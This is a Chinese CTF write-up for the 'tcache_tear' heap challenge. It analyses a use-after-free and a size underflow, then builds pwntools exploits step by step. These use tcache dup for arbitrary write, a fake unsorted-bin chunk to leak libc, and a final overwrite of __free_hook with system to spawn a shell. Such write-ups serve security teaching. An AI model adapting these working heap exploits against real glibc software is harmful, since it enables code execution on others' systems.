1.使用tcache dup实现任意地址写
2.使用unsorted bin 双向链表特性获取到unsorted bin 头部指针泄露、计算libc的基地址得到system地址
3.将free替换为system指针、获取到权限
题目中给了一个libc 为2.27 的libc 又标明为tcache
这里使用patchelf 进行替换libc
面对堆题的时候,本地上的libc往往无法满足需求(版本过高漏洞被修复),
切换本地libc为题目给定libc,在切换之前需要准备。
https://github.com/matrix1001/glibc-all-in-one
首先需要弄清楚libc版本
strings libc.so |grep “GLIBC ”
然后寻找对应的glibc版本。
cd glibc-all-in-one-master python update_list cat list
下载指定的libc
建议把源换到阿里云
download 文件修改成阿里云的地址
./download 2.27-3ubuntu1_amd64
下载完成之后查看一下。
ls libs/2.27-3ubuntu1_amd64
设置libc的版本
patchelf --set-interpreter /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so /home/pwn/桌面/head/tcache_tear/tcache_tear patchelf --set-rpath /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64 /home/pwn/桌面/head/tcache_tear/tcache_tear ldd /home/pwn/桌面/head/tcache_tear/tcache_tear linux-vdso.so.1 (0x00007ffdfff8b000) libc.so.6 => /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6 (0x00007fb353fb2000) /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007fb3543a5000)
成功设置完libc的版本
但是gdb 调试的时候会有问题。暂时还没有得到解决
首先checksec 一下
tcache_tear$ checksec tcache_tear [*] '/home/pwn/桌面/head/tcache_tear/tcache_tear' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' FORTIFY: Enabled tcache_tear$
运行一下程序 一共就是3个选择。1个是申请内存、一个是释放、第三个是查看内容
tcache_tear$ ./tcache_tear Name:1 $$$$$$$$$$$$$$$$$$$$$$$ Tcache tear $$$$$$$$$$$$$$$$$$$$$$$ 1. Malloc 2. Free 3. Info 4. Exit $$$$$$$$$$$$$$$$$$$$$$$ Your choice :1 Size:1 Data:1 Done ! $$$$$$$$$$$$$$$$$$$$$$$ Tcache tear $$$$$$$$$$$$$$$$$$$$$$$ 1. Malloc 2. Free 3. Info 4. Exit $$$$$$$$$$$$$$$$$$$$$$$ Your choice :3 Name :1$$$$$$$$$$$$$$$$$$$$$$$ Tcache tear $$$$$$$$$$$$$$$$$$$$$$$ 1. Malloc 2. Free 3. Info 4. Exit $$$$$$$$$$$$$$$$$$$$$$$ Your choice :2 $$$$$$$$$$$$$$$$$$$$$$$ Tcache tear $$$$$$$$$$$$$$$$$$$$$$$ 1. Malloc 2. Free 3. Info 4. Exit $$$$$$$$$$$$$$$$$$$$$$$ Your choice :
64位的程序。打开IDA发现是没有符号表的。然后自己改了一下让能看的清晰点
Main 函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { const char *name; // rdi __int64 v4; // rax unsigned int count; // [rsp-Ch] [rbp-Ch] set_clear(); printf("Name:", a2); name = (const char *)&name_address; read_name((__int64)&name_address, 0x20u); count = 0; while ( 1 ) { while ( 1 ) { menu(); v4 = read_num(); if ( v4 != 2 ) break; if ( count <= 7 ) { name = (const char *)ptr_address; free(ptr_address); ++count; } } if ( v4 > 2 ) { if ( v4 == 3 ) { Infos(); } else { if ( v4 == 4 ) exit(0); LABEL_14: name = "Invalid choice"; puts("Invalid choice"); } } else { if ( v4 != 1 ) goto LABEL_14; Add(name, 32LL); } } }
ADD函数
int Add() { unsigned __int64 num; // rax int size; // [rsp-10h] [rbp-10h] printf("Size:"); num = read_num(); size = num; if ( num <= 0xFF ) { ptr_address = malloc(num); printf("Data:"); read_name((__int64)ptr_address, size - 16); LODWORD(num) = puts("Done !"); } return num; }
INFO函数
ssize_t sub_400B99() { printf("Name :"); return write(1, &name_address, 0x20uLL); }
分析漏洞点
1、可以看到在Mian 函数中是只是free 了地址、但是没有free掉引用、这里就会出现UAF漏洞
if ( v3 != 2 ) break; if ( count <= 7 ) { free(ptr_address); ++count; }
但是这有一个限制、就是count 最大只能7次。
2、在add 函数中。如果size 小于16 那么得到的结果就会为负数、那么此刻就可以实现栈溢出了
read_name((__int64)ptr_address, size - 16);
但是在此处是没用、可以演示一下
head$ gdb tcache_bak pwndbg> r Starting program: /home/pwn/桌面/head/tcache_bak Name:n $$$$$$$$$$$$$$$$$$$$$$$ Tcache tear $$$$$$$$$$$$$$$$$$$$$$$ 1. Malloc 2. Free 3. Info 4. Exit $$$$$$$$$$$$$$$$$$$$$$$ Your choice :1 Size:1 Data:1222222222222222222222222222222 Done ! $$$$$$$$$$$$$$$$$$$$$$$ Tcache tear $$$$$$$$$$$$$$$$$$$$$$$ 1. Malloc 2. Free 3. Info 4. Exit $$$$$$$$$$$$$$$$$$$$$$$ Your choice :^C Program received signal SIGINT, Interrupt. __read_chk (fd=0, buf=0x7fffffffdf80, nbytes=23, buflen=<optimized out>) at read_chk.c:33 33 read_chk.c: 没有那个文件或目录. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x400c90 ◂— push r15 RCX 0x7ffff7ef39cd (__read_chk+13) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x17 RDI 0x0 RSI 0x7fffffffdf80 —▸ 0x400840 ◂— xor ebp, ebp R8 0xd R9 0xd R10 0x400db6 ◂— pop rcx /* 'Your choice :' */ R11 0x246 R12 0x400840 ◂— xor ebp, ebp R13 0x7fffffffe0b0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0 RSP 0x7fffffffdf68 —▸ 0x4009fb ◂— lea rax, [rbp - 0x20] RIP 0x7ffff7ef39cd (__read_chk+13) ◂— cmp rax, -0x1000 /* 'H=' */ ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x7ffff7ef39cd <__read_chk+13> cmp rax, -0x1000 0x7ffff7ef39d3 <__read_chk+19> ja __read_chk+32 <__read_chk+32> ↓ 0x7ffff7ef39e0 <__read_chk+32> mov rdx, qword ptr [rip + 0xbd489] 0x7ffff7ef39e7 <__read_chk+39> neg eax 0x7ffff7ef39e9 <__read_chk+41> mov dword ptr fs:[rdx], eax 0x7ffff7ef39ec <__read_chk+44> mov rax, -1 0x7ffff7ef39f3 <__read_chk+51> ret 0x7ffff7ef39f4 <__read_chk+52> push rax 0x7ffff7ef39f5 <__read_chk+53> call __chk_fail <__chk_fail> 0x7ffff7ef39fa nop word ptr [rax + rax] 0x7ffff7ef3a00 <__pread_chk> endbr64 ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rsp 0x7fffffffdf68 —▸ 0x4009fb ◂— lea rax, [rbp - 0x20] 01:0008│ 0x7fffffffdf70 —▸ 0x400c90 ◂— push r15 02:0010│ 0x7fffffffdf78 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0 03:0018│ rsi 0x7fffffffdf80 —▸ 0x400840 ◂— xor ebp, ebp 04:0020│ 0x7fffffffdf88 —▸ 0x7fffffffe0b0 ◂— 0x1 05:0028│ 0x7fffffffdf90 ◂— 0x0 06:0030│ 0x7fffffffdf98 ◂— 0xf3b28dd33fd4e400 07:0038│ rbp 0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0 ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7ffff7ef39cd __read_chk+13 f 1 4009fb f 2 400c16 f 3 7ffff7de9083 __libc_start_main+243 ──────────────────────────────────────────────────────────────────────────────── pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x603000 Size: 0x291 Allocated chunk | PREV_INUSE Addr: 0x603290 Size: 0x21 Top chunk | IS_MMAPED Addr: 0x6032b0 Size: 0x32323232323232 pwndbg>
可以看到top chunk 的size 变成了0x32323232332 及其大的数字
1、tcache dup 任意地址写
1、申请一个0x50 的空间内容为a
2、释放内存
3、释放内存
4、申请一个0x50 的空间内容为需要修改的内存地址
5、申请一个0x50 的空间内容为a
6、申请一个0x50 的空间内容为需要修改的内容
示例代码如下:
a = malloc(0x20); free(a); free(a); malloc(0x20,addr) malloc(0x20) malloc(0x20,data)
可能会有点懵、我这里画了一张图来进行理解
那么就可以来演示一下。修改name 的值
from pwn import * #context(arch='amd64',os='linux',log_level='debug') io=process("./tcache_tear") elf=ELF("./libc.so") def Malloc(size,data): io.sendlineafter(b"choice :",b"1") io.sendlineafter(b"Size:",str(size).encode()) io.sendlineafter(b"Data:",data) def Free(): io.sendlineafter(b"choice :",b"2") def Info(): io.sendlineafter(b"choice :",b"3") def UAF_WRITE(Len,address,address_data): Malloc(Len,'a') Free() Free() Malloc(Len,p64(address)) Malloc(Len,'a') Malloc(Len,address_data) io.sendlineafter(b"Name:",b"77777") name_bss = 0x602060 UAF_WRITE(0x50,name_bss,"666666666") Info() io.interactive()
成功修改了name的值为6666666
2、构造伪堆块泄露libc
因为我们这里已经掌握了任意地址的写入、但是tcache 只能执行7次,并且内存大小最大只能是0xff
如果能构造一个unsorted bin这种双向链表、那么就可以拿unsorted bin 表头的地址减去libc距离就可以获取到libc的基地址
1、确定tcache 最大的空间是多少? 默认情况下tcache为64个 64位下可容纳的最大内存块大小是1032(0x408)
2、unsorted bin 有那些限制? 除了要伪造的size要大于0x408,并且伪堆块后面的数据也要满足基本的堆块格式,而且至少两块
参考:https://github.com/lattera/glibc/blob/master/malloc/malloc.c
// 在 _int_free 函数中 if (nextchunk != av->top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
可以看到free函数对当前的堆块的nextchunk也进行了相应的检查,并且还检查了nextchunk的inuse位,这一位的信息在nextchunk的nextchunk中,
所以在这里我们总共要伪造三个堆块。第一个堆块我们构造大小为0x500,
第二个和第三个分别构造为0x20大小的堆块,这些堆块的标记位,均为只置prev_inuse为1,使得free不去进行合并操作。如图:
需要注意的是。free(ptr) 是在name+0x10 地方。如果这里就是需要布好堆之后、需要把ptr的指针指向到name+0x10 的地方。
1、第一段的0x501 直接可以在初始化的时候进行一个写入、因为后面没办法写这么长的数据
2、然后利用任意地址写构造name+0x500的后两个伪堆块
3、再次利用任意地址写,向name+0x10写任意数据,目的是执行完最后一个malloc,ptr全局变量会被更新为name+0x10 因为释放后这个地方会指向到unsorted bin 头部位置
4、使用info函数读取name前0x20字节的内容,即可泄露unsorted bin地址
如图
代码如下:
from pwn import * #context(arch='amd64',os='linux',log_level='debug') io=process("./tcache_tear") elf=ELF("./libc.so") def Malloc(size,data): io.sendlineafter(b"choice :",b"1") io.sendlineafter(b"Size:",str(size).encode()) io.sendlineafter(b"Data:",data) def Free(): io.sendlineafter(b"choice :",b"2") def Info(): io.sendlineafter(b"choice :",b"3") def UAF_WRITE(Len,address,address_data): Malloc(Len,'a') Free() Free() Malloc(Len,p64(address)) Malloc(Len,'a') Malloc(Len,address_data) io.sendlineafter(b"Name:",p64(0)+p64(0x501)) name_bss = 0x602060 UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2) # UAF_WRITE(0x60,name_bss+0x10,'a') # Free() Info() io.recvuntil("Name :"); io.recv(0x10) bin_address=u64(io.recv(8)) print("bin:",bin_address) io.interactive()
这里泄露出来的指针是unsorted bin的头部指针、怎么计算libc 的地址呢?
调试
from pwn import * #context(arch='amd64',os='linux',log_level='debug') io=process("./tcache_tear") elf=ELF("./libc.so") def Malloc(size,data): io.sendlineafter(b"choice :",b"1") io.sendlineafter(b"Size:",str(size).encode()) io.sendlineafter(b"Data:",data) def Free(): io.sendlineafter(b"choice :",b"2") def Info(): io.sendlineafter(b"choice :",b"3") def UAF_WRITE(Len,address,address_data): Malloc(Len,'a') Free() Free() Malloc(Len,p64(address)) Malloc(Len,'a') Malloc(Len,address_data) io.sendlineafter(b"Name:",p64(0)+p64(0x501)) name_bss = 0x602060 UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2) # UAF_WRITE(0x60,name_bss+0x10,'a') # Free() Info() io.recvuntil("Name :"); io.recv(0x10) bin_address=u64(io.recv(8)) print("bin:",bin_address) pause() io.interactive()
这里加了pause() 直接运行即可
这里即可进入调试界面
pwndbg> got
GOT protection: Full RELRO | GOT functions: 13
[0x601f88] free@GLIBC_2.2.5 -> 0x7feb32c2c950 (free) ◂— push r15
[0x601f90] _exit@GLIBC_2.2.5 -> 0x7feb32c79dd0 (_exit) ◂— mov edx, edi
[0x601f98] __read_chk@GLIBC_2.4 -> 0x7feb32cc7e60 (__read_chk) ◂— cmp rdx, rcx
[0x601fa0] puts@GLIBC_2.2.5 -> 0x7feb32c159c0 (puts) ◂— push r13
[0x601fa8] write@GLIBC_2.2.5 -> 0x7feb32ca5140 (write) ◂— lea rax, [rip + 0x2e07b1]
[0x601fb0] __stack_chk_fail@GLIBC_2.4 -> 0x7feb32cc9c80 (__stack_chk_fail) ◂— lea rsi, [rip + 0x81cdf]
[0x601fb8] printf@GLIBC_2.2.5 -> 0x7feb32bf9e80 (printf) ◂— sub rsp, 0xd8
[0x601fc0] alarm@GLIBC_2.2.5 -> 0x7feb32c79840 (alarm) ◂— mov eax, 0x25
[0x601fc8] atoll@GLIBC_2.2.5 -> 0x7feb32bd56b0 (atoll) ◂— mov edx, 0xa
[0x601fd0] signal@GLIBC_2.2.5 -> 0x7feb32bd3da0 (ssignal) ◂— lea eax, [rdi – 1]
[0x601fd8] malloc@GLIBC_2.2.5 -> 0x7feb32c2c070 (malloc) ◂— push rbp
[0x601fe0] setvbuf@GLIBC_2.2.5 -> 0x7feb32c162f0 (setvbuf) ◂— push r13
[0x601fe8] exit@GLIBC_2.2.5 -> 0x7feb32bd8120 (exit) ◂— lea rsi, [rip + 0x3a85f1]
可以通过https://libc.rip/ 或者pwntools 计算地址
例如:0x7feb32c2c950 为free
0x7feb32c2c950 –0x97950 = libc的基地址
然后通过打印的bin的地址140648149159072-0x7feb32c2c950 –0x97950 就记得到了bin 和libc的偏移量
>>> 0x7feb32c2c950 -0x97950 140648145047552 >>> 140648149159072-140648145047552 4111520 >>> hex(4111520) '0x3ebca0'
计算出偏移量0x3ebca0
那么直接替换到free的地址,换成system的地址。然后直接调用system 进行传递参数 最后的exp如下:
from pwn import * #context(arch='amd64',os='linux',log_level='debug') io=process("./tcache_tear") libc=ELF("./libc.so") def Malloc(size,data): io.sendlineafter(b"choice :",b"1") io.sendlineafter(b"Size:",str(size).encode()) io.sendlineafter(b"Data:",data) def Free(): io.sendlineafter(b"choice :",b"2") def Info(): io.sendlineafter(b"choice :",b"3") def UAF_WRITE(Len,address,address_data): Malloc(Len,'a') Free() Free() Malloc(Len,p64(address)) Malloc(Len,'a') Malloc(Len,address_data) def Malloc2(size,data): io.sendlineafter(b"choice :",b"1") io.sendlineafter(b"Size:",size) io.sendlineafter(b"Data:",data) io.sendlineafter(b"Name:",p64(0)+p64(0x501)) name_bss = 0x602060 UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2) # UAF_WRITE(0x60,name_bss+0x10,'a') # Free() Info() io.recvuntil("Name :"); io.recv(0x10) bin_address=u64(io.recv(8)) print("bin:",bin_address) libc_address=bin_address-0x3ebca0 print("system:",libc_address) free_hook = libc_address + libc.symbols['__free_hook'] system = libc_address + libc.symbols['system'] UAF_WRITE(0x70,free_hook,p64(system)) Malloc(0x80,"sh\x00") Free() io.interactive()
参考:
https://mp.weixin.qq.com/s/eS-HvJCbJERaQu-wbLeRXw
https://xuanxuanblingbling.github.io/ctf/pwn/2020/03/13/tcache/